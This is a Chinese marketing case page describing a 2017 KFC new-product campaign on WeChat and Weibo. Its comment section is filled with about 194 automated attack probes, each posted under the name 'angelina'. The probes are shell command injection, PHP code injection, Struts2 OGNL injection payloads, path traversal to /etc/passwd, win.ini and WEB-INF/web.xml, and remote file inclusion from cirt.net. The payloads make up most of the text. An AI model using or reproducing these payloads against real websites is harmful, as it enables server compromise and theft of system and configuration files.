KFC-采媒在线

KFC

2017-07-21 17:39:18

2小图

 

 

  项目概述:


   肯德基是全球领先的连锁餐饮企业,具有广

   泛的品牌知名度。此次传播的目的在于推广

   新产品,并且利用新品巩固自己在中国快

   餐霸主地位。

 

 

 

 

传播策略:利用社交型新媒体结合线下活动,打造美食界的新网红。

 


 

推广渠道:微信公众号,新浪微博

项目执行:通过在美食类微信公众号的活动投放,打通了线上线下的传播通道,使用户得到了良好

                             的体验。通过微博明星大V的转发,使得话题得到了爆炸性的传播。

传播效果:微信阅读总量800万,微博话题讨论7000万。Chizza作为一个自造词,冲上微博热榜

 

微信图片_20170725115859

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  1. angelinaangelina回复
  2. angelina;/usr/bin/id;回复
  3. angelina1";cat /etc/rc.d/rc.local;"回复
  4. angelina${@print(md5(812812))};回复
  5. angelina"];${@print(md5(812812))};//回复
  6. angelina(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str='814F60BD-F6DF-4227-',#b_str='86F5-8D9FBF26A2EB',#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())(meh)回复
  7. angelina../../../../../../../../../../../../../../etc/passwd回复
  8. angelina\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd.html回复
  9. angelinax/xx/../../../../../../../../../../../boot.ini回复
  10. angelinahtTp://cirt.net/rfiinc.txt回复
  11. angelina../../../../../../../../../../etc/rc.d/rc.local.jpeg回复
  12. angelina../../app.conf回复
  13. angelina../../WEB-INF/web.xml回复
  14. angelina/usr/bin/id;回复
  15. angelinaset回复
  16. angelina";${@print(md5(812812))};//回复
  17. angelina%{#context['xwork.MethodAccessor.denyMethodExecution']=false,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludeProperties={},#a_str='814F60BD-F6DF-4227-',#b_str='86F5-8D9FBF26A2EB',#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close()}回复
  18. angelina//../....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc//passwd回复
  19. angelinac:/windows/win.ini回复
  20. angelinacirt.net/rfiinc.txt.php回复
  21. angelinafile:///etc/rc.d/rc.local.php回复
  22. angelina\\..\....\\....\\WEB-INF\web.xml回复
  23. angelina1;cat /etc/rc.d/rc.local;回复
  24. angelina1';cat /etc/rc.d/rc.local;'回复
  25. angelinax||set||x回复
  26. angelinastring:{var_dump(md5(812812))}回复
  27. angelina'];${@print(md5(812812))};//回复
  28. angelina'+(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str='814F60BD-F6DF-4227-',#b_str='86F5-8D9FBF26A2EB',#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())+'回复
  29. angelina${#context['xwork.MethodAccessor.denyMethodExecution']=false,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludeProperties={},#a_str='814F60BD-F6DF-4227-',#b_str='86F5-8D9FBF26A2EB',#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close()}回复
  30. angelina'+(#context['xwork.MethodAccessor.denyMethodExecution']=false,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludeProperties={},#a_str='814F60BD-F6DF-4227-',#b_str='86F5-8D9FBF26A2EB',#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())+'回复
  31. angelina(#context['xwork.MethodAccessor.denyMethodExecution']=false,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludeProperties={},#a_str='814F60BD-F6DF-4227-',#b_str='86F5-8D9FBF26A2EB',#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())(meh)回复
  32. angelina../../../../../../../../../../../../../../etc/passwd.jpeg回复
  33. angelina/../../../../../../../../../../../../../../etc/passwd.php回复
  34. angelina\..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\passwd回复
  35. angelina\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd.php回复
  36. angelina/../../../../../../../../../../sbin/../etc/./rc.d/../rc.d/.././rc.local回复
  37. angelinac:/windows/win.ini.php回复
  38. angelinac:/x/xx/../../../../../../boot.ini.php回复
  39. angelinahttp://cirt.net/rfiinc.txt.html回复
  40. angelinacirt.net/rfiinc.txt回复
  41. angelinacirt.net/rfiinc.txt.jpg回复
  42. angelinahtTp://cirt.net/rfiinc.txt.php回复
  43. angelinadata://text/plain;base64,W0hlbGxvIEFpc2h5XQ==回复
  44. angelinafile:///etc/passwd回复
  45. angelinafile:///etc/passwd.php回复
  46. angelina../../../../../../../../../../etc/rc.d/rc.local回复
  47. angelinafile:///etc/rc.d/rc.local.html回复
  48. angelinaapp.conf.jpeg回复
  49. angelina../../app.conf.php回复
  50. angelina\..\..\WEB-INF\web.xml回复
  51. angelina\\..\\..\\WEB-INF\\web.xml.php回复
  52. angelina\\..\....\\....\\WEB-INF\web.xml.jpeg回复
  53. angelina../../WEB-INF/web.xml.jpg回复
  54. angelina..\..\WEB-INF/web.xml回复
  55. angelinaindex.jsp.php回复
  56. angelina';${@print(md5(812812))};//回复
  57. angelina../../../../../../../../../../../../../../etc/passwd.jpg回复
  58. angelina//../..//..//..//..//..//..//..//..//..//..//..//..//..//..//etc//passwd.php回复
  59. angelina../../../../../../../../../../sbin/../etc/./rc.d/../rc.d/.././rc.local回复
  60. angelinax/xx/../../../../../../../../../../../boot.ini.php回复
  61. angelinahtTp://cirt.net/rfiinc.txt.jpg回复
  62. angelina../../../../../../../../../../etc/rc.d/rc.local.html回复
  63. angelina/../../WEB-INF/web.xml回复
  64. angelina\\..\....\\....\\WEB-INF\web.xml.php回复
  65. angelina../../WEB-INF/web.xml.php回复
  66. angelinaindex.jsp.jpg回复
  67. angelina../../../../../../../../../../../../../../etc/passwd.php回复
  68. angelina//../....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc//passwd.php回复
  69. angelina../../../../../../../../../../sbin/../etc/./rc.d/../rc.d/.././rc.local.jpeg回复
  70. angelinac:/x/xx/../../../../../../boot.ini回复
  71. angelinahttp://cirt.net/rfiinc.txt.htm回复
  72. angelinacirt.net/rfiinc.txt.htm回复
  73. angelinadata://text/plain;base64,W0hlbGxvIEFpc2h5XQ==.php回复
  74. angelina../../../../../../../../../../etc/rc.d/rc.local.htm回复
  75. angelina../../app.conf.jpeg回复
  76. angelina\\..\\..\\WEB-INF\\web.xml回复
  77. angelinaWEB-INF\web.xml回复
  78. angelina..\..\WEB-INF/web.xml.jpg回复
  79. angelinaWEB-INF/web.xml回复
  80. angelinaWEB-INF/web.xml.php回复
  81. angelina../../../../../../../../../../../../../../etc/passwd.htm回复
  82. angelina/../../../../../../../../../../../../../../etc/passwd回复
  83. angelina//../....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc//passwd.html回复
  84. angelina../../../../../../../../../../sbin/../etc/./rc.d/../rc.d/.././rc.local.html回复
  85. angelina/../../../../../../../../../../sbin/../etc/./rc.d/../rc.d/.././rc.local.php回复
  86. angelinax/xx/../../../../../../../../../../../boot.ini.html回复
  87. angelinahttp://cirt.net/rfiinc.txt.jpeg回复
  88. angelinadata://text/plain;base64,W0hlbGxvIEFpc2h5XQ==.html回复
  89. angelina../../../../../../../../../../etc/rc.d/rc.local.php回复
  90. angelinaapp.conf回复
  91. angelinaapp.conf.htm回复
  92. angelina../../app.conf.jpg回复
  93. angelina\\..\\..\\WEB-INF\\web.xml.jpeg回复
  94. angelinaWEB-INF\web.xml.htm回复
  95. angelina../../WEB-INF/web.xml.jpeg回复
  96. angelina..\..\WEB-INF/web.xml.php回复
  97. angelinaindex.jsp回复
  98. angelina/../../../../../../../../../../../../../../etc/passwd.jpg回复
  99. angelina//../....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc//passwd.jpg回复
  100. angelina\..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\passwd.jpeg回复
  101. angelina\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd回复
  102. angelina../../../../../../../../../../sbin/../etc/./rc.d/../rc.d/.././rc.local.php回复
  103. angelinacirt.net/rfiinc.txt.jpeg回复
  104. angelinafile:///etc/rc.d/rc.local回复
  105. angelinaapp.conf.php回复
  106. angelina/../../WEB-INF/web.xml.jpeg回复
  107. angelinaWEB-INF\web.xml.php回复
  108. angelina..\..\WEB-INF/web.xml.jpeg回复
  109. angelina../../../../../../../../../../../../../../etc/passwd.html回复
  110. angelina\..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\passwd.php回复
  111. angelina/../../../../../../../../../../sbin/../etc/./rc.d/../rc.d/.././rc.local.jpeg回复
  112. angelinadata://text/plain;base64,W0hlbGxvIEFpc2h5XQ==.jpeg回复
  113. angelina../app.conf回复
  114. angelinaindex.jsp.htm回复
  115. angelina//../....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc//passwd.htm回复
  116. angelina\..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\passwd.html回复
  117. angelina../../../../../../../../../../sbin/../etc/./rc.d/../rc.d/.././rc.local.htm回复
  118. angelinac:/windows/win.ini.jpg回复
  119. angelinax/xx/../../../../../../../../../../../boot.ini.htm回复
  120. angelinacirt.net/rfiinc.txt.html回复
  121. angelinafile:///etc/passwd.htm回复
  122. angelina../app.conf.html回复
  123. angelina/../../WEB-INF/web.xml.jpg回复
  124. angelina\..\..\WEB-INF\web.xml.php回复
  125. angelina\\..\....\\....\\WEB-INF\web.xml.html回复
  126. angelina../../WEB-INF/web.xml.html回复
  127. angelina..\..\WEB-INF/web.xml.htm回复
  128. angelinaWEB-INF/web.xml.jpg回复
  129. angelina/../../../../../../../../../../../../../../etc/passwd.jpeg回复
  130. angelinac:/windows/win.ini.htm回复
  131. angelinaapp.conf.html回复
  132. angelina../app.conf.php回复
  133. angelina\..\..\WEB-INF\web.xml.jpg回复
  134. angelinaWEB-INF\web.xml.jpeg回复
  135. angelinaindex.jsp.html回复
  136. angelina//../..//..//..//..//..//..//..//..//..//..//..//..//..//..//etc//passwd回复
  137. angelinac:/windows/win.ini.html回复
  138. angelinadata://text/plain;base64,W0hlbGxvIEFpc2h5XQ==.htm回复
  139. angelina../../../../../../../../../../etc/rc.d/rc.local.jpg回复
  140. angelina../app.conf.jpg回复
  141. angelina/../../WEB-INF/web.xml.php回复
  142. angelina\\..\....\\....\\WEB-INF\web.xml.htm回复
  143. angelinaWEB-INF/web.xml.htm回复
  144. angelina\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd.htm回复
  145. angelina../../../../../../../../../../sbin/../etc/./rc.d/../rc.d/.././rc.local.jpg回复
  146. angelinac:/x/xx/../../../../../../boot.ini.jpeg回复
  147. angelinafile:///etc/passwd.html回复
  148. angelina//../..//..//..//..//..//..//..//..//..//..//..//..//..//..//etc//passwd.html回复
  149. angelina\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd.jpeg回复
  150. angelina/../../../../../../../../../../sbin/../etc/./rc.d/../rc.d/.././rc.local.html回复
  151. angelina/../../../../../../../../../../../../../../etc/passwd.htm回复
  152. angelina//../..//..//..//..//..//..//..//..//..//..//..//..//..//..//etc//passwd.htm回复
  153. angelinax/xx/../../../../../../../../../../../boot.ini.jpeg回复
  154. angelinafile:///etc/passwd.jpeg回复
  155. angelinaapp.conf.jpg回复
  156. angelina\\..\\..\\WEB-INF\\web.xml.html回复
  157. angelinaWEB-INF\web.xml.jpg回复
  158. angelinaWEB-INF/web.xml.html回复
  159. angelina//../..//..//..//..//..//..//..//..//..//..//..//..//..//..//etc//passwd.jpeg回复
  160. angelinac:/x/xx/../../../../../../boot.ini.html回复
  161. angelinadata://text/plain;base64,W0hlbGxvIEFpc2h5XQ==.jpg回复
  162. angelinafile:///etc/rc.d/rc.local.jpeg回复
  163. angelina/../../WEB-INF/web.xml.html回复
  164. angelinaWEB-INF/web.xml.jpeg回复
  165. angelina//../....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc//passwd.jpeg回复
  166. angelinax/xx/../../../../../../../../../../../boot.ini.jpg回复
  167. angelinafile:///etc/passwd.jpg回复
  168. angelina../app.conf.htm回复
  169. angelina\\..\\..\\WEB-INF\\web.xml.jpg回复
  170. angelinaindex.jsp.jpeg回复
  171. angelina\..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\passwd.htm回复
  172. angelinac:/windows/win.ini.jpeg回复
  173. angelinafile:///etc/rc.d/rc.local.jpg回复
  174. angelina\..\..\WEB-INF\web.xml.jpeg回复
  175. angelinac:/x/xx/../../../../../../boot.ini.htm回复
  176. angelina../app.conf.jpeg回复
  177. angelinaWEB-INF\web.xml.html回复
  178. angelina\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd.jpg回复
  179. angelina../../app.conf.html回复
  180. angelina\..\..\WEB-INF\web.xml.html回复
  181. angelina\\..\....\\....\\WEB-INF\web.xml.jpg回复
  182. angelina\..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\passwd.jpg回复
  183. angelina\\..\\..\\WEB-INF\\web.xml.htm回复
  184. angelinac:/x/xx/../../../../../../boot.ini.jpg回复
  185. angelina/../../../../../../../../../../sbin/../etc/./rc.d/../rc.d/.././rc.local.jpg回复
  186. angelinafile:///etc/rc.d/rc.local.htm回复
  187. angelina/../../../../../../../../../../../../../../etc/passwd.html回复
  188. angelina../../app.conf.htm回复
  189. angelina../../WEB-INF/web.xml.htm回复
  190. angelina/../../../../../../../../../../sbin/../etc/./rc.d/../rc.d/.././rc.local.htm回复
  191. angelina..\..\WEB-INF/web.xml.html回复
  192. angelina//../..//..//..//..//..//..//..//..//..//..//..//..//..//..//etc//passwd.jpg回复
  193. angelina/../../WEB-INF/web.xml.htm回复
  194. angelina\..\..\WEB-INF\web.xml.htm回复